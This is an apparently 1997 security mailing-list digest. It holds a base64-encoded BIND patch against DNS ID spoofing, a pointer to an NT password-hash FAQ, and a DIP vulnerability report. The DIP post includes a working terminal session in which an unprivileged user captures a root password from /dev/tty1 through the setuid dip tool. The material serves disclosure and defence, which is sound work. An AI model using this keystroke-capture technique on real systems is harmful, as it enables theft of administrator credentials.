YW4gMzAgMTQ6MTI6NDIgMTk5Nw0KKysrIC4vbnNfZnVuYy5oCVN1biBBcHIg MjcgMDM6NDk6NTYgMTk5Nw0KQEAgLTE3NCw2ICsxNzQsNyBAQA0KICAgICAg ICAgICAgICAgICAgICAgICAgIG5zZnJlZShzdHJ1Y3QgcWluZm8gKiwgY2hh ciAqKSwNCiAJCQlxZnJlZShzdHJ1Y3QgcWluZm8gKik7DQogZXh0ZXJuIHN0 cnVjdCBxaW5mbwkqcWZpbmRpZCh1X2ludDE2X3QpLA0KKwkJCSpxYXBwcm94 ZnJvbShzdHJ1Y3QgaW5fYWRkciksDQogCQkJKnFuZXcoY29uc3QgY2hhciAq LCBpbnQsIGludCk7DQogLyogLS1mcm9tIG5zX2ZvcncuYy0tICovDQogDQpk aWZmIC11IC4uL29sZC1uYW1lZC9uc19yZXNwLmMgLi9uc19yZXNwLmMNCi0t LSAuLi9vbGQtbmFtZWQvbnNfcmVzcC5jCVRodSBKYW4gMzAgMTQ6MTI6NDQg MTk5Nw0KKysrIC4vbnNfcmVzcC5jCVN1biBBcHIgMjcgMDQ6MDU6NTAgMTk5 Nw0KQEAgLTI3NCwxNSArMjc0LDQ2IEBADQogCXN0cnVjdCBmd2RpbmZvICpm d2Q7DQogCXN0cnVjdCBkYXRhYnVmICpkcDsNCiAJaW50IGZvcmNlY21zZyA9 IDA7DQorCXN0YXRpYyBpbnQgc3Bvb2ZzID0gMDsgLyogTnVtYmVyIG9mIHNw b29mcyB3ZSByZWNlaXZlICovDQogDQogCW5hbWVzZXJJbmNyKGZyb20uc2lu X2FkZHIsIG5zc1JjdmRSKTsNCiAJbnNwWzBdID0gTlVMTDsNCiAJaHAgPSAo SEVBREVSICopIG1zZzsNCiAJaWYgKChxcCA9IHFmaW5kaWQoaHAtPmlkKSkg PT0gTlVMTCApIHsNCi0JCW5zX2RlYnVnKG5zX2xvZ19kZWZhdWx0LCAxLCAi RFVQPyBkcm9wcGVkIChpZCAlZCkiLA0KLQkJCSBudG9ocyhocC0+aWQpKTsN Ci0JCW5hbWVzZXJJbmNyKGZyb20uc2luX2FkZHIsIG5zc1JjdmREdXBSKTsN Ci0JCXJldHVybjsNCisJCS8qIA0KKwkJICogRml4IHRvIHJlY29nbml6ZSBh IGJydXRlIGZvcmNlIGF0dGVtcHQgYW5kIHJlc29ydCB0bw0KKwkJICogVENQ IHF1ZXJpZXMgd2hlbiBkaXNjb3ZlcmVkLiAgSWYgdGhhdCBmYWlscywgaXQg cmVtb3Zlcw0KKwkJICogdGhlIHJlcXVlc3QgdGhhdCB0aGUgYXR0YWNrZXIg aXMgdHJ5aW5nIHRvIGZvcmdlIGFuDQorCQkgKiBhbnN3ZXIgdG8gc28gdGhh dCBmdXJ0aGVyIGF0dGVtcHRzIHdpbGwgZmFsbCBvbiBkZWFmDQorCQkgKiBl YXJzLg0KKwkJICogQnkgVmVybW9udCBSdXRoZXJmb29yZCAodmVybW9udEBn YXRlLm5ldCkuDQorCQkgKi8NCisNCisJCS8qIHRyeSB0byBmaW5kIHdoYXQg cXVlcnkgdGhleSBhcmUgdHJ5aW5nIHRvIHNwb29mICovDQorCQlpZiAoKHFw ID0gcWFwcHJveGZyb20oZnJvbS5zaW5fYWRkcikpID09IE5VTEwgKSB7DQor CQkJLyogQ291bGRudCBmaW5kIGFueSAqLw0KKwkJCW5zX2RlYnVnKG5zX2xv Z19zZWN1cml0eSwgMSwNCisJCQkJIkxhbWUgQXR0ZW1wdCBhdCBJRCBTcG9v Zi9EdXBsaWNhdGUgcmVwbHkgZnJvbSBkZWFkIHF1ZXJ5Iik7DQorCQkJbmFt ZXNlckluY3IoZnJvbS5zaW5fYWRkciwgbnNzUmN2ZER1cFIpOw0KKwkJCXJl dHVybjsNCisJCX0gZWxzZSB7IC8qIFNvbWVvbmUgaXMgdHJ5aW5nIHRvIGJl IGVsZWV0ICovDQorCQkJbnNfZGVidWcobnNfbG9nX3NlY3VyaXR5LCAxLA0K KwkJCQkiUmVjZWl2ZWQgQXR0ZW1wdGVkIElEIFNwb29mLCByZXRyeWluZyB3 aXRoIFRDUCIpOw0KKwkJCS8qIGhvcGVmdWxseSB0aGlzIGlzIGJlaW5nIGRv bmUgY29ycmVjdGx5ICovDQorCQkJaWYgKCEocXAtPnFfZmxhZ3MgJiBRX1VT RVZDKSkgew0KKwkJCQlxcC0+cV9mbGFncyB8PSBRX1VTRVZDOw0KKwkJCQl1 bnNjaGVkKHFwKTsNCisJCQkJc2NoZWRyZXRyeShxcCwgNjApOw0KKwkJCQlp ZiAodGNwX3NlbmQocXApICE9IE5PRVJST1IpDQorCQkJCQkvKg0KKwkJCQkJ ICogRC1vaC4gT3VyIGxhc3QgcmVzb3J0IGZhaWxlZCFADQorCQkJCQkgKiBS ZW1vdmUgZnJvbSBxdWV1ZSB0byBwcmV2ZW50DQorCQkJCQkgKiBicnV0ZSBm b3JjZSBmcm9tIHN1Y2NlZWRpbmcuDQorCQkJCQkgKi8NCisJCQkJCXFyZW1v dmUocXApOw0KKwkJCX0NCisJCQlyZXR1cm47DQorCQl9DQogCX0NCiANCiAJ bnNfZGVidWcobnNfbG9nX2RlZmF1bHQsIDIsICJSZXNwb25zZSAoJXMgJXMg JXMpIG5zaWQ9JWQgaWQ9JWQiLA0K ---941424629-1004745063-862128783=:38774-- ------------------------------ Date: Sat, 26 Apr 1997 20:08:20 +0000 From: "Alan C. Ramsbottom" To: best-of-security@suburbia.net Subject: BoS: FAQ: NT Password Attack & Defences Message-Id: <199704272359.JAA12849@suburbia.net> I've written what could loosely be described as a "FAQ" on the issues surrounding attacks on NT password hashes, once they have been "extracted" from the SAM. Russ Cooper has kindly provided a home for a copy of the document at: http://ntbugtraq.rc.on.ca/samfaq.htm It is now revision 1.2. Recent changes include some small (but significant) increases to the number of punctuation characters that may be used in a password. --Alan-- acr@als.co.uk ------------------------------ Date: Wed, 30 Apr 1997 01:23:28 -0400 From: George Staikos To: best-of-security@suburbia.net Subject: BoS: Yet Another DIP Exploit? Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII I seem to have stumbled across another vulnerability in DIP. It appears to allow any user to gain control of arbitrary devices in /dev. For instance, I have successfully stolen keystrokes from a root login as follows... (I could also dump characters to the root console) $ whoami cesaro $ cat < /dev/tty1 <------ root login here bash: /dev/tty1: Permission denied <------ nope, we can see it $ dip -t DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96) Written by Fred N. van Kempen, MicroWalt Corporation. DIP> port tty1 DIP> echo on DIP> term [ Entering TERMINAL mode. Use CTRL-] to get back ] roots_password <------ OH, maybe we *CAN* see it! [ Back to LOCAL mode. ] DIP> quit $ I'm sure there are many more creative things to do with this, but this is the first thing that came to mind when I discovered it, and is a good example of what can be done. Not all devices are accessible. I have not looked into the patch at this time, but I recommend chmod u-s dip, as usual! :) George -------------------------------- End of best-of-security-d Digest V97 Issue #15 **********************************************